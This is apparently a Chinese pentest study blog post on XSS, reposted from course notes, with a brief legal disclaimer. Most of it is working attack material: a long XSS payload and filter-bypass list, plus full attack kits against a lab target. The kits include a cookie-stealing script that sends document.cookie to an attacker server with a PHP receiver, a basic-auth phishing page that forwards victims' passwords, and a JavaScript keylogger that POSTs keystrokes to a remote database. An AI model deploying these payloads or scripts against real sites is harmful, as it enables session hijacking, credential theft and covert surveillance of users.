渗透测试常规漏洞挖掘与利用-XSS

渗透测试自学日志,开始学习XSS。
免责声明
该文章仅用于信息防御技术的交流和学习,请勿用于其他用途;
在未得到网站授权前提下,禁止对政府、事业单位、企业或其他单位网站及系统进行渗透测试;技术是把双刃剑,请遵纪守法,做一名合格的白帽子安全专家,为国家的网络安全事业做出贡献;

本文基本上是转载qwsn专栏的内容,该专栏是暗月教程的笔记,大家可以关注下。我感觉暗月的教程特别系统,有条件的

一、XSS漏洞挖掘与利用

xss漏洞测试

测试的目的
为了验证当前页面是否会执行我们注入的html标签或js语句,从而可以让我们注入恶意js语句或引入恶意js脚本文件。

常规测试语句:

注意火狐会对dom型进行url编码,所以要使用ie
反射型&存储型&dom:

<h5>1</h5>
<script>alert(/xss/)</script>
<SCRIPT>alert(document.cookie)</SCRIPT>
<img src=1 onerror=alert(document.cookie)>

存储型&dom:

<script>var img=document.createElement("img");img.src="//192.168.97.130/exp/xss/a?"+escape(document.cookie);</script>

反射型测试:

http://www.webtester.com/xss/xss01.php?name=<h5>1</h5>
http://www.webtester.com/xss/xss01.php?name=<script>alert(/xss/)</script>
http://www.webtester.com/xss/xss01.php?name=<SCRIPT>alert(document.cookie)</SCRIPT>

存储型测试:

http://www.webtester.com/xss/xss02.php?name=<img src=1 onerror=alert(document.cookie)>
http://www.webtester.com/xss/xss02.php?name=<script>var img=document.createElement("img");img.src="//192.168.97.130/exp/xss/a?"+escape(document.cookie);</script>

DOM型测试:

http://www.webtester.com/xss/xss03.php?name=<h5>1</h5>
http://www.webtester.com/xss/xss03.php?name=<script>alert(/xss/)</script>
http://www.webtester.com/xss/xss03.php?name=<SCRIPT>alert(document.cookie)</SCRIPT>
http://www.webtester.com/xss/xss03.php?name=<img src=1 onerror=alert(document.cookie)>
其他测试语句
<script>alert('hello,gaga!');</script> //经典语句,哈哈!
>"'><img src="javascript.:alert('XSS')">
>"'><script>alert('XSS')</script>
<table background='javascript.:alert(([code])'></table>
<object type=text/html data='javascript.:alert(([code]);'></object>
"+alert('XSS')+"
'><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
<s&#99;ript>alert('XSS')</script>
<img src="javas&#99;ript:alert('XSS')">
%0a%0a<script>alert(\"Vulnerable\")</script>.jsp
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
<script>alert('Vulnerable')</script> 
a.jsp/<script>alert('Vulnerable')</script>
"><script>alert('Vulnerable')</script>
<IMG SRC="javascript.:alert('XSS');">
<IMG src="/javascript.:alert"('XSS')>
<IMG src="/JaVaScRiPt.:alert"('XSS')>
<IMG src="/JaVaScRiPt.:alert"(&quot;XSS&quot;)>
<IMG SRC="jav&#x09;ascript.:alert('XSS');">
<IMG SRC="jav&#x0A;ascript.:alert('XSS');">
<IMG SRC="jav&#x0D;ascript.:alert('XSS');">
"<IMG src="/java"\0script.:alert(\"XSS\")>";'>out
<IMG SRC=" javascript.:alert('XSS');">
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND="javascript.:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<IMG DYNSRC="javascript.:alert('XSS')">
<IMG LOWSRC="javascript.:alert('XSS')">
<BGSOUND SRC="javascript.:alert('XSS');">
<br size="&{alert('XSS')}">
<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet"HREF="javascript.:alert('XSS');">
<IMG SRC='vbscript.:msgbox("XSS")'>
<META. HTTP-EQUIV="refresh"CONTENT="0;url=javascript.:alert('XSS');">
<IFRAME. src="/javascript.:alert"('XSS')></IFRAME>
<FRAMESET><FRAME. src="/javascript.:alert"('XSS')></FRAME></FRAMESET>
<TABLE BACKGROUND="javascript.:alert('XSS')">
<DIV STYLE="background-image: url(javascript.:alert('XSS'))">
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html&#39;);">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE='xss:expre\ssion(alert("XSS"))'>
<STYLE. TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE. TYPE="text/css">.XSS{background-image:url("javascript.:alert('XSS')");}</STYLE><A CLASS=XSS></A>
<STYLE. type="text/css">BODY{background:url("javascript.:alert('XSS')")}</STYLE>
<BASE HREF="javascript.:alert('XSS');//">
getURL("javascript.:alert('XSS')")
a="get";b="URL";c="javascript.:";d="alert('XSS');";eval(a+b+c+d);
<XML SRC="javascript.:alert('XSS');">
"> <BODY NLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
<SCRIPT. SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
<IMG SRC="javascript.:alert('XSS')"
<SCRIPT. a=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT.=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT. a=">"''SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT."a='>'"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PTSRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>

xss漏洞利用原理

盗取COOKIE

背景:
当攻击者在评论处或留言板处测试出存在xss存储型漏洞,那么就可以通过一条script语句来外链攻击者的远程服务器上的这个xss_attack.js恶意脚本文件,从而执行下面的语句。

原理
攻击者: 攻击者把payload发布到留言板或者评论处,当受害者访问该页面的时候,就会触发该xss漏洞,那么cookie值会通过qwsn参数传递给攻击者远程服务器上的php_receive.php页面内,并且保存到同目录下的qwsn.php内。
受害者: 受害者访问该留言板或评论页面,此时会立刻触发xss漏洞,也就是外链加载攻击者远程服务器上的xss_attack.js文件,该文件的功能就是把当前用户的cookie通过qwsn参数传递给攻击者远程服务器上的xss_receive.php页面,同时又把该cookie值保存到攻击者的qwsn.php页面内。

示例:

(1)靶机: http://www.webtester.com/xss/xss02.php

(2)攻击者WEB服务器:

攻击者IP:192.168.97.130(IP对应的域名www.exploit.com)
攻击者WEB服务的目录:192.168.97.130/exp/xss
攻击者存放js恶意脚本:192.168.97.130/exp/xss/xss.attack.js
攻击者存放接收cookie的php文件:192.168.97.130/exp/xss/xss_receive.php
攻击者存放cookie的文件:192.168.97.130/exp/xss/qwsn.php

(3)恶意脚本文件xss_attack.js,读取cookie,通过qwsn参数传入xss_receive.php页面
攻击者的恶意js脚本文件:xss_attack.js

var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://192.168.97.130/exp/xss/xss_receive.php?qwsn='+encodeURIComponent(document.cookie);

功能:
该脚本可以创建一个img标签,并通过src来引入攻击者远程服务器上的xss_receive.php脚本,同时以GET形式传递此时在留言板或评论处获得的cookie值给qwsn参数。

4)xss_receive.php读取传来的qwsn参数的cookie参数值,并把cookie值写入到当前目录下的qwsn.php文件内。
攻击者接收cookie的php文件:xss_receive.php

<?php
    @ini_set('display_errors',1);
    $str = $_GET['qwsn']; //读取cookie
    $filePath = "qwsn.php";	//保存到qwsn.php
	$handler = fopen($filePath, "a");
    fwrite($handler, $str);
	fclose($handler);
?>

功能:
攻击者把从评论处或留言板处接收过来的qwsn参数值,保存到攻击者远程服务器上的qwsn.php页面中,从而得到其他人在访问留言板或评论时候的相应cookie值

(5)攻击者的payload:

payload-1:可以
<script src="http://192.168.97.130/exp/xss/xss_attack.js"></script>
payload-2:可以
<script src="//192.168.97.130/exp/xss/xss_attack.js"></script>

(6)利用过程:

第一步:攻击者把payload1或payload2发布到留言板,当其他人访问该页面的时候,触发该xss漏洞,那么cookie值会通过qwsn参数传递给我们php_receive.php页面内,并且保存到qwsn.php内。

<script src="http://192.168.97.130/exp/xss/xss_attack.js"></script>

第二步:受害者访问该留言板页面,此时会立刻触发xss漏洞,也就是加载攻击者的xss_attack.js文件,该文件的功能就是把当前用户的cookie通过qwsn参数传递给攻击者的远程服务器上的xss_receive.php页面,该页面又把改cookie值保存到攻击者的qwsn.php页面内。
第三步:攻击者查看保存到qwsn.php页面内的cookie

基础认证钓鱼

背景
当一个留言板或评论页面存在XSS存储下漏洞的时候,攻击者可以通过存入一个payload到该页面服务器的数据库中,从而可以让受害者在访问该页面的时候,触发payload。该payload的功能就是外链这个存储在攻击者远程服务器上的基础认证框脚本fish.php。

原理
攻击者

攻击者把payload发布到留言板或者评论处,当受害者访问该页面的时候,就会触发该xss漏洞,那么基础认证框就会弹出来,一旦用户输入了用户名和密码信息,就会通过username和password参数传递给攻击者远程服务器上的xfish.php页面内,该页面的功能就是把传来的参数保存到攻击者数据库中。最后攻击者可以通过自己的服务器上的pkxss_fish_result.php页面,访问得到反弹来的认证结果!!!

受害者
受害者访问该留言板或评论页面,此时会立刻触发xss漏洞,也就是外链加载攻击者远程服务器上的fish.php脚本文件,该文件的功能就是把当前用户的认证框的username和password等参数传递给攻击者远程服务器上的fish.php页面,同时又把这些参数值保存到攻击者的数据库中以供攻击者调用查看。

7、xss漏洞利用示例:基础认证钓鱼
(1)靶机: http://www.webtester.com/xss/xss02.php

(2)攻击者WEB服务器:

攻击者IP:www.exploit.cool(域名对应的IP 192.168.97.130)
攻击者WEB服务的目录:http://www.exploit.cool/exp/pikachu/pkxss/xfish/
攻击者存放提供基础认证框的php恶意脚本:http://www.exploit.cool/exp/pikachu/pkxss/xfish/fish.php
攻击者存放接收认证结果的php文件:http://www.exploit.cool/exp/pikachu/pkxss/xfish/xfish.php
攻击者存放读取认证结果的php文件:http://www.exploit.cool/exp/pikachu/pkxss/xfish/pkxss_fish_result.php

(3)攻击者远程WEB服务器上的调用保存的认证结果的文件,pkxss_fish_result.php

<?php
error_reporting(0);
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();


// 判断是否登录,没有登录不能访问
if(!check_login($link)){
    header("location:../pkxss_login.php");
}


if(isset($_GET['id']) && is_numeric($_GET['id'])){
    $id=escape($link, $_GET['id']);
    $query="delete from fish where id=$id";
    execute($link, $query);
}
?>

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>钓鱼结果</title>
<link rel="stylesheet" type="text/css" href="../antxss.css" />
</head>
<body>
<div id="title">
<h1>pikachu Xss 钓鱼结果</h1>
<a href="../xssmanager.php">返回首页</a>
</div>
<div id="result">
    <table class="tb" border="1px" cellpadding="10" cellspacing="1" bgcolor="#5f9ea0">
        <tr>
            <td class="1">id</td>
            <td class="1">time</td>
            <td class="1">username</td>
            <td class="1">password</td>
            <td class="2">referer</td>
            <td class="2">操作</td>
        </tr>
    <?php 
    $query="select * from fish";
    $result=mysqli_query($link, $query);
    while($data=mysqli_fetch_assoc($result)){
$html=<<<A
    <tr>
        <td class="1">{$data['id']}</td>
        <td class="1">{$data['time']}</td>
        <td class="1">{$data['username']}</td>
        <td class="1">{$data['password']}</td>
        <td class="2">{$data['referer']}</td>
         <td><a href="pkxss_fish_result.php?id={$data['id']}">删除</a></td>
    </tr>
A;
         
        echo $html; 
    }
    ?>
    </table>
</div>
</body>
</html>

(4)fish.php提供基础认证框
攻击者远程WEB服务器上的恶意钓鱼脚本,fish.php

<?php
	error_reporting(0);
	// var_dump($_SERVER);
	if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
	//发送认证框,并给出迷惑性的info
	    header('Content-type:text/html;charset=utf-8');
	    header("WWW-Authenticate: Basic realm='认证'");
	    header('HTTP/1.0 401 Unauthorized');
	    echo 'Authorization Required.';
	    exit;
	} else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
		//将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后台的IP
	    //echo$_SERVER['PHP_AUTH_USER'];
		//echo$_SERVER['PHP_AUTH_PW'];
		
		header("Location: http://www.exploit.cool/exp/pikachu/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}&password={$_SERVER[PHP_AUTH_PW]}");
	}
?>

功能:
弹窗提供一个基础认证框

(5)xfish.php读取并保存认证结果
攻击者远程WEB服务器上的保存认证结果的文件,xfish.php

<?php
	error_reporting(0);
	include_once '../inc/config.inc.php';
	include_once '../inc/mysql.inc.php';
	$link=connect();
	
	if(!empty($_GET['username']) && !empty($_GET['password'])){
	 
	    $username=$_GET['username'];
	    $password=$_GET['password'];
	    $referer="";
	    $referer.=$_SERVER['HTTP_REFERER'];
	    $time=date('Y-m-d g:i:s');
	    $query="insert fish(time,username,password,referer) 
	    values('$time','$username','$password','$referer')";
	    $result=mysqli_query($link, $query);
	} 
?>

功能:
把受害则通过基础认证框传来的用户名和密码保存到攻击者远程服务器上的数据库中

(6)攻击者的payload

payload-1:可以
<script src="http://www.exploit.cool/exp/pikachu/pkxss/xfish/fish.php"></script>

payload-2:可以
<script src="//www.exploit.cool/exp/pikachu/pkxss/xfish/fish.php"></script>

payload-3:未测试
<img src="http://www.exploit.cool/exp/pikachu/pkxss/xfish/fish.php" /> 

(7)利用过程

第一步:攻击者把payload发布到留言板,当受害则访问该页面的时候,触发该xss漏洞。
第二步:受害者访问该留言板页面
第三步:攻击者通过自己的WEB服务器上的pkxss_fish_result.php页面读取认证结果
或者攻击者通过数据库查看反弹的用户账号数据

(8)注意:PHP 的 HTTP 认证机制仅在 PHP 以 Apache 模块方式运行时才有效,因此该功能不适用于 CGI 版本(且phpstudy的nts模式下也不不能使用)。在 Apache 模块的 PHP 脚本中,可以用 header() 函数来向客户端浏览器发送“Authentication Required”信息,使其弹出一个用户名/密码输入窗口。当用户输入用户名和密码后,包含有 URL 的 PHP 脚本将会再次和预定义变量 PHP_AUTH_USER、PHP_AUTH_PW 和 AUTH_TYPE 一起被调用,这三个变量分别被设定为用户名,密码和认证类型。预定义变量保存在 $_SERVER 或者 $HTTP_SERVER_VARS 数组中。系统仅支持“基本的”认证。

xss漏洞利用:键盘记录器

原理
攻击者

攻击者把payload发布到留言板或者评论处,当受害者访问该页面的时候,就会触发该xss漏洞,那么该页面就会外链攻击者远程服务器上的rk.js恶意脚本文件,该恶意脚本的功能就是把用户的键盘数据以POST形式传入到rkserver.php页面,该页面又把POST的数据内容,存储到数据库中。最后攻击者可以通过自己的服务器上的pkxss_keypress_result.php页面,访问得到受害者的敲击键盘的数据!

受害者
受害者访问该留言板或评论页面,此时会立刻触发xss漏洞,也就是外链加载攻击者远程服务器上的rk.js脚本文件,该恶意脚本的功能就是把用户的键盘数据以POST形式传入到rkserver.php页面,该页面又把POST的数据内容,存储到数据库中以供攻击者调用查看。

示例:键盘记录器

(1)靶机: http://www.webtester.com/xss/xss02.php
(2)攻击者WEB服务器:

攻击者IP:www.exploit.cool(域名对应的IP 192.168.97.130)
攻击者WEB服务的目录:http://www.exploit.cool/exp/pikachu/rkeypress/xfish/
攻击者存放提供基础认证框的js恶意脚本:http://www.exploit.cool/exp/pikachu/pkxss/rkeypress/rk.js
攻击者存放接收键盘数据的php文件:http://www.exploit.cool/exp/pikachu/pkxss/rkeypress/rkserver.php
攻击者存放读取键盘数据的php文件:http://www.exploit.cool/exp/pikachu/pkxss/rkeypress/pkxss_keypress_result.php

(3)读取键盘数据的rk.js恶意脚本
rk.js

/**
 * Created by runner on 2018/7/8.
 */

function createAjax(){
    var request=false;
    if(window.XMLHttpRequest){
        request=new XMLHttpRequest();
        if(request.overrideMimeType){
            request.overrideMimeType("text/xml");
        }

    }else if(window.ActiveXObject){

        var versions=['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
        for(var i=0; i<versions.length; i++){
            try{
                request=new ActiveXObject(versions[i]);
                if(request){
                    return request;
                }
            }catch(e){
                request=false;
            }
        }
    }
    return request;
}

var ajax=null;
var xl="datax=";

function onkeypress() {
    var realkey = String.fromCharCode(event.keyCode);
    xl+=realkey;
    show();
}

document.onkeypress = onkeypress;

function show() {
    ajax = createAjax();
    ajax.onreadystatechange = function () {
        if (ajax.readyState == 4) {
            if (ajax.status == 200) {
                var data = ajax.responseText;
            } else {
                alert("页面请求失败");
            }
        }
    }

    var postdate = xl;
    ajax.open("POST", "http://www.exploit.cool/exp/pikachu/pkxss/rkeypress/rkserver.php",true);
    ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    ajax.setRequestHeader("Content-length", postdate.length);
    ajax.setRequestHeader("Connection", "close");
    ajax.send(postdate);
}

功能:
该脚本读取受害者的键盘记录然后传入到攻击者远程服务器的rkserver.php页面内,该页面又把数据保存到攻击者的数据库中。

(4)读取rk.js恶意脚本传来的键盘数据的文件rkserver.php
rkserver.php

<?php
/**
 * Created by runner.han
 * There is nothing new under the sun
 */

include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();

//设置允许被跨域访问
header("Access-Control-Allow-Origin:*");

$data = $_POST['datax'];
$query = "insert keypress(data) values('$data')";
$result=mysqli_query($link,$query);
?>

(5)攻击者读取受害者的敲击键盘数据的文件pkxss_keypress_result.php

<?php
// error_reporting(0);
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();

// 判断是否登录,没有登录不能访问
if(!check_login($link)){
    header("location:../pkxss_login.php");
}


if(isset($_GET['id']) && is_numeric($_GET['id'])){
    $id=escape($link, $_GET['id']);
    $query="delete from keypress where id=$id";
    execute($link, $query);
}
?>


<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>键盘记录结果</title>
<link rel="stylesheet" type="text/css" href="../antxss.css" />
</head>
<body>
<div id="title">
<h1>pikachu Xss 获取键盘记录结果</h1>
<a href="../xssmanager.php">返回首页</a>
</div>
<div id="xss_main">
<table border="1px" cellpadding="10" cellspacing="1" bgcolor="#5f9ea0">
    <tr>
        <td>id</td>
        <td>记录</td>
        <td>操作</td>
    </tr>
    <?php 
    $query="select * from keypress";
    $result=mysqli_query($link, $query);
    while($data=mysqli_fetch_assoc($result)){
$html=<<<A
    <tr>
        <td>{$data['id']}</td>
        <td>{$data['data']}</td>
        <td><a href="pkxss_keypress_result.php?id={$data['id']}">删除</a></td>
    </tr>
A;
         
        echo $html;
        
        
    }
    
    ?>
    
</table>
</div>
</body>
</html>

(6)攻击者的payload

payload-1:可以
<script src="http://www.exploit.cool/exp/pikachu/pkxss/rkeypress/rk.js"></script>

payload-2:可以
<script src="//www.exploit.cool/exp/pikachu/pkxss/rkeypress/rk.js"></script>

payload-3:无效
<img src="http://www.exploit.cool/exp/pikachu/pkxss/rkeypress/rk.js" /> 

(7)利用过程:

第一步:模拟攻击者把payload发布到留言板,当受害则访问该页面的时候,触发该xss漏洞。

第二步:模拟受害者访问该留言板触发xss漏洞,用户的敲击键盘的数据被记录到攻击者的远程数据库中。

第三步:模拟攻击者通过自己的WEB服务器上的pkxss_keypress_result.php页面读取认证结果

或者攻击者通过数据库查看键盘数据

二、XSS测试-10种绕过技巧

大小写绕过:script标签一次匹配

payload:

?name=<Script>alert(1)</Script>

复写绕过(属性多余):script大小写标签一次匹配

复写绕过-payload:

?name=<scr<script>ipt>alert(1)</scr</script>ipt>

转换标签绕过:sciprt标签禁用

payload:

?name=<img src=a onerror=alert(1)>

转换方法绕过:alert方法禁用

payload:

?name=<script>confirm(1)</script><img src=a onerror="confirm(1)">

手工闭合绕过:既定的script标签

payload: ?name=123";alert($a)//

手工闭合+单引号绕过:既定的scirpt标签+htmllentities默认参数

payload:

?name=moon';alert($a);//

dom输出+hash属性+substring方法-弹窗:

payload:

?name=moon#<script>alert(1);</script>

php表单的urlxss-弹窗

payload:

/" οnsubmit="alert(1)

编码&解码绕过:魔术引号magic_quotes_gpc

弹窗测试-payload:

?name=<script>alert(1);</script>

?name=<script>alert(/qwsn/);</script>

?name=<script>alert('qwsn');</script>

绕过魔术引号转义的-payload:

?name=<script>eval(String.fromCharCode(97,108,101,114,116,40,39,113,119,115,110,39,41))</script>【实际上把是一个个的ASCII码值转为字符】

事件替换script标签绕过:htmlspecialchars转义大小号

payload:

?name=qwsn' οnmοuseοver='javascript:alert(1)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值